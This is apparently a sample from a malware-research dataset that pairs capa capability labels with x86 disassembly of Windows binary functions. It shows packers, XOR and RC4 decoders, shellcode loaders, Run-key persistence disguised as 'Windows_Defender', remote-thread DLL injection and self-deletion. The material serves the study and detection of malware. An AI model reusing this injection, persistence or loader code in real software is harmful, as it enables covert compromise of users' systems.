joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b2b80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x70000]
push edi
jmp 0x4b2b9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b2ba1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b2b90
mov eax, 1
add ebx, ebx
jne 0x4b2bb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b2bc4
jne 0x4b2be3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b2be3
dec eax
add ebx, ebx
jne 0x4b2bd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b2ba8
add ebx, ebx
jne 0x4b2bdf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b2c35
xor ecx, ecx
sub eax, 3
jb 0x4b2bfb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b2c6a
sar eax, 1
mov ebp, eax
jmp 0x4b2c06
add ebx, ebx
jne 0x4b2c06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b2bd4
inc ecx
add ebx, ebx
jne 0x4b2c14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b2bd4
add ebx, ebx
jne 0x4b2c21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b2c16
jne 0x4b2c32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b2c16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b2c54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b2c46
jmp 0x4b2b96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b2c54
add edi, ecx
jmp 0x4b2b96
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b2c72
cmp byte [edi], 0x11
jne 0x4b2c72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b2c77
lea edi, [esi + 0xae000]
mov eax, dword [edi]
or eax, eax
je 0x4b2cef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb3ce8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb3e3c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b2ca4
mov ecx, edi
jns 0x4b2cd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb3e40]
or eax, eax
je 0x4b2ce9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b2cc1
call dword [esi + 0xb3e50]
mov ebp, dword [esi + 0xb3e44]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b2d23
sub esp, 0xffffff80
jmp 0x416310
Function at 0x4010e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ecx, ecx
mov edi, 0xa9
mov ebx, 0x2a6d
mov esi, 0x3487
jmp 0x401100
mov eax, 0x84a9f9c9
imul esi
add edx, esi
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401100
mov eax, dword [ebp + 8]
mov esi, 0xd9
test eax, eax
je 0x401238
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x401238
cmp eax, edx
jae 0x401238
mov edx, 0xb9f
mov dword [ebp - 4], 0x6a
mov eax, 0xd8
lea esp, [esp]
cmp eax, 0x6a
cmovl eax, dword [ebp - 4]
dec edx
jne 0x401150
mov edx, 0x608d
mov dword [ebp - 4], 0xbb
mov eax, 0xc2
jmp 0x401170
cmp eax, 0xbb
cmovg eax, dword [ebp - 4]
dec edx
jne 0x401170
lea esp, [esp]
inc ecx
mov eax, ecx
and eax, 0x80000003
jns 0x40118f
dec eax
or eax, 0xfffffffc
inc eax
jne 0x401194
add ecx, 2
cmp ecx, 0x71e7
jl 0x401180
mov ecx, 0x15ac
mov eax, 0xa80a80a9
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011a1
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
mov ecx, 0x6116
mov dword [ebp + 0xc], eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011c4
cmp dword [ebp + 0xc], ecx
jbe 0x4011f7
mov edx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov al, byte [ecx + edx + 1]
add al, 0x73
xor byte [ecx + edx], al
inc ecx
cmp ecx, ebx
jb 0x4011e4
mov ebx, 0x2a6d
mov eax, 0x6def
mov ecx, 0xe3
cmp edi, ecx
cmovl edi, ecx
dec eax
jne 0x401201
lea esp, [esp]
mov eax, ebx
cdq
and edx, 7
lea ebx, [edx + eax]
sar ebx, 3
test ebx, ebx
jne 0x401210
mov eax, 0x7708
mov ecx, 0x23
lea ebx, [ebx]
cmp esi, ecx
cmovg esi, ecx
dec eax
jne 0x401230
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, 0x19
mov esi, 0x51be
mov eax, 0x13e22cbd
imul esi
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402573
cmp dword [ebp + 0xc], esi
mov esi, 0x7e
je 0x402738
mov ecx, 0x50e6
lea esp, [esp]
mov eax, 0xcb8727c1
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4025a0
cmp dword [ebp + 0x10], ecx
mov ecx, 0x59df
jne 0x4025e1
cmp dword [ebp + 0x18], 0
jne 0x4025e1
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4025c5
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x37ea
mov ecx, 0x58
jmp 0x4025f0
cmp esi, ecx
cmovl esi, ecx
dec eax
jne 0x4025f0
mov ecx, dword [ebp + 0xc]
mov edx, 0x5a4d
mov eax, dword [ecx + 0x3c]
cmp word [ecx], dx
jne 0x402738
cmp dword [eax + ecx], 0x4550
jne 0x402738
mov edx, dword [eax + ecx + 0x7c]
mov dword [ebp - 0x14], edx
test edx, edx
je 0x402738
mov esi, dword [eax + ecx + 0x78]
add esi, ecx
mov dword [ebp - 4], esi
mov ecx, 0x6393
mov edx, 0x7f
mov eax, 8
cmp eax, 0x7f
cmovl eax, edx
dec ecx
jne 0x402640
mov eax, 0x6def
mov ecx, 0xca
cmp ebx, ecx
cmovl ebx, ecx
dec eax
jne 0x402653
mov eax, 0x5c77
dec eax
jne 0x402660
mov ecx, 0x6d33
jmp 0x402670
mov eax, 0x81848da9
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402670
mov eax, dword [ebp + 0xc]
mov ecx, dword [esi + 0x20]
add ecx, eax
mov dword [ebp - 8], ecx
mov ecx, dword [esi + 0x24]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [esi + 0x1c]
add ecx, eax
mov dword [ebp - 0x10], ecx
mov edi, 0x3ce4
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x4026a5
mov eax, dword [ebp + 0x10]
shr eax, 0x10
mov edi, 0x8c
test eax, eax
je 0x40271f
xor ebx, ebx
lea esp, [esp]
inc ebx
mov eax, 0x66666667
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*4]
add ecx, ecx
mov eax, ebx
sub eax, ecx
jne 0x4026ee
inc ebx
cmp ebx, 0x14c4
jl 0x4026d0
mov ebx, dword [ebp - 4]
xor esi, esi
cmp dword [ebx + 0x18], esi
jbe 0x40271f
mov eax, dword [ebp - 8]
mov eax, dword [eax + esi*4]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 0x10]
call fcn.00402e80
add esp, 8
test eax, eax
jne 0x402741
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x402700
mov eax, 0x1369
mov ecx, 0x78
lea esp, [esp]
cmp edi, ecx
cmovl edi, ecx
dec eax
jne 0x402730
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, 0x2aa9
movzx edx, word [eax + esi*2]
mov esi, 0xd
mov eax, 0xd5
cmp eax, 0xd
cmovl eax, esi
dec ecx
jne 0x402757
mov ecx, dword [ebp - 0x10]
mov eax, edx
mov ecx, dword [ecx + eax*4]
add ecx, dword [ebp + 0xc]
cmp ecx, ebx
jbe 0x402778
mov eax, dword [ebp - 0x14]
add eax, ebx
cmp ecx, eax
jb 0x402738
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403220
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x40327d
mov eax, dword [ebp + 8]
push ebx
push esi
mov ecx, dword [ebp + 0xc]
inc edi
mov bh, byte [edi + ecx - 1]
inc byte [eax]
movzx esi, byte [eax]
movzx edx, byte [esi + eax + 2]
movzx ecx, byte [eax + 1]
add esi, eax
add ecx, edx
movzx edx, cl
mov byte [eax + 1], cl
movzx ecx, byte [edx + eax + 2]
mov bl, byte [esi + 2]
mov byte [esi + 2], cl
mov byte [edx + eax + 2], bl
movzx ecx, byte [esi + 2]
mov edx, dword [ebp + 0xc]
add cl, bl
movzx ecx, cl
movzx ecx, byte [ecx + eax + 2]
xor cl, bh
mov byte [edi + edx - 1], cl
cmp edi, dword [ebp + 0x10]
jb 0x403230
pop esi
pop ebx
pop edi
pop ebp
ret
Function at 0x40cb68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40cb77
pop dword [ebp - 0x28]
mov eax, 0xc44f69a3
sub eax, 0xc40e9e2c
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xc231b413
sub dword [ebp - 0x38], 0x73df6ec8
mov dword [ebp - 0x34], 0x304c7ee
add dword [ebp - 0x34], 0x2f2e8457
mov dword [ebp - 0x30], 0xfb5e8e11
sub dword [ebp - 0x30], 0xaf1249e3
mov dword [ebp - 0x2c], 0xfaf2a46d
add dword [ebp - 0x2c], 0x50d5b93
lea eax, [ebp - 0x38]
push eax
mov eax, 0x6178aa44
sub eax, 0x6137ca00
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x40792f18
add dword [ebp - 0x38], 0x33f93a3e
mov dword [ebp - 0x34], 0xe38591b3
sub dword [ebp - 0x34], 0xa219303e
mov dword [ebp - 0x30], 0xeb679ecc
add dword [ebp - 0x30], 0x7807cda0
mov dword [ebp - 0x2c], 0x20d5ef47
add dword [ebp - 0x2c], 0xdf2a10b9
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xb8d4abed
sub eax, 0xb893cb61
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x34f94
push 0
call eax
mov ecx, 0x47b5927b
sub ecx, 0x47b5544e
mov esi, eax
mov edi, 0x66a3bcb7
add edi, 0x999de749
add edi, dword [ebp - 0x28]
mov ebx, 0x370ba178
sub ebx, 0xd48f1c1c
mov dword [ebp - 0x1c], 0x6aff27b7
mov edx, dword [edi]
sub edx, ebx
sub dword [ebp - 4], 0x2eb236fe
mov dword [esi], edx
xor dword [ebp - 0x18], esi
add esi, 0x301fa75
sub esi, 0x301fa71
add edi, 0x56305ae7
add edi, 0xa9cfa51d
loop 0x40cc99
add eax, 0x9c5b6150
add eax, 0x63a58a37
mov ebx, eax
add eax, 0x1644397e
add eax, 0xe9bbc687
mov ecx, 0x52d5af77
sub ecx, 0x5295af77
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x408476
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x408485
pop dword [ebp - 0x18]
mov eax, 0xcd84c884
add eax, 0x32bbbc01
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x4ca1b
push 0
mov eax, 0x1036dd46
sub eax, 0xff22a8a
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3a4b
mov esi, eax
mov edx, 0x487e00
add edx, dword [ebp - 0x18]
mov edi, 0x97c23308
sub edi, 0xf54d7019
xor dword [ebp - 0x10], edi
mov ebx, dword [edx]
sub dword [ebp - 8], esi
sub ebx, edi
xor dword [ebp - 8], edi
mov dword [esi], ebx
sub dword [ebp - 4], 0x7424aea8
add esi, 0x5f00a1ef
sub esi, 0x5f00a1eb
add edx, 0xf49f54f5
sub edx, 0xf49f54f1
loop 0x4084d8
add eax, 0xd38a7d34
add eax, 0x2c765ecb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfeec870
sub ecx, 0xfaec870
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0xf42058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xf421a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xf4207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf4206a
add dl, dl
jne 0xf42089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf420dc
xor eax, eax
add dl, dl
jne 0xf42096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf4217d
add dl, dl
jne 0xf420a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf420b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf420bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf420c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xf420d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xf42075
mov eax, 1
add dl, dl
jne 0xf420ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf420f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf420e1
sub eax, ebx
mov ebx, 1
jne 0xf42128
mov ecx, 1
add dl, dl
jne 0xf4210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf42119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf42105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf42075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xf4213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf4214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf42136
cmp eax, 0x7d00
jae 0xf4216d
cmp eax, 0x500
jb 0xf42168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf42075
cmp eax, 0x7f
ja 0xf42170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf42075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xf4219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xf42075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x677c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x677c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x677c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x677c132c
mov eax, 1
jmp 0x677c1331
mov eax, 0
leave
ret

Function at 0x677c1333
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Defender
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x677c14ee
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x677c1621
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x677c1667
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x677c16b0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x677c16ad
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x677c16b0
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x677c1896
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x677c1c20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x677c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x677c6034]
sub esp, 4
test ebx, ebx
je 0x677c1c6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x677c1c64
test esi, esi
je 0x677c1c64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x677c1c40
mov dword [esp], 0x677c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x677c1e50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x677c41c8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x677c1ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x677c1f78
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x677c1ede
cmp eax, 4
jne 0x677c1f00
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x677c1eee
cmp edx, 4
je 0x677c1eee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.677c1e50
Function at 0x401270
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0xaaaaaaab
mul ecx
push ebx
push esi
mov esi, edx
shr esi, 1
lea eax, [esi + esi*2]
cmp ecx, eax
seta dl
add eax, 2
cmp ecx, eax
movzx ebx, dl
sete byte [ebp - 2]
add ebx, esi
add ebx, ebx
add ebx, ebx
lea eax, [ebx + 3]
push edi
push eax
mov byte [ebp - 1], dl
mov dword [ebp - 0xc], ebx
call fcn.0040516d
mov edi, eax
add esp, 4
xor eax, eax
test esi, esi
je 0x401338
mov ecx, dword [ebp + 8]
add ecx, 2
lea edx, [edi + 2]
mov dword [ebp - 8], esi
mov eax, esi
lea ebx, [ebx]
movzx esi, byte [ecx - 2]
shr esi, 2
movzx ebx, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx - 2], bl
movzx esi, byte [ecx - 1]
movzx ebx, byte [ecx - 2]
shr esi, 4
shl ebx, 4
or esi, ebx
and esi, 0x3f
movzx ebx, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx - 1], bl
movzx ebx, byte [ecx - 1]
movzx esi, byte [ecx]
add ebx, ebx
shr esi, 6
add ebx, ebx
or esi, ebx
and esi, 0x3f
movzx ebx, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], bl
movzx esi, byte [ecx]
and esi, 0x3f
movzx ebx, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], bl
add ecx, 3
add edx, 4
dec dword [ebp - 8]
jne 0x4012d0
mov ebx, dword [ebp - 0xc]
cmp byte [ebp - 1], 0
je 0x4013bf
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax*2]
movzx ecx, byte [eax + edx]
lea esi, [eax + edx]
shr ecx, 2
cmp byte [ebp - 2], 0
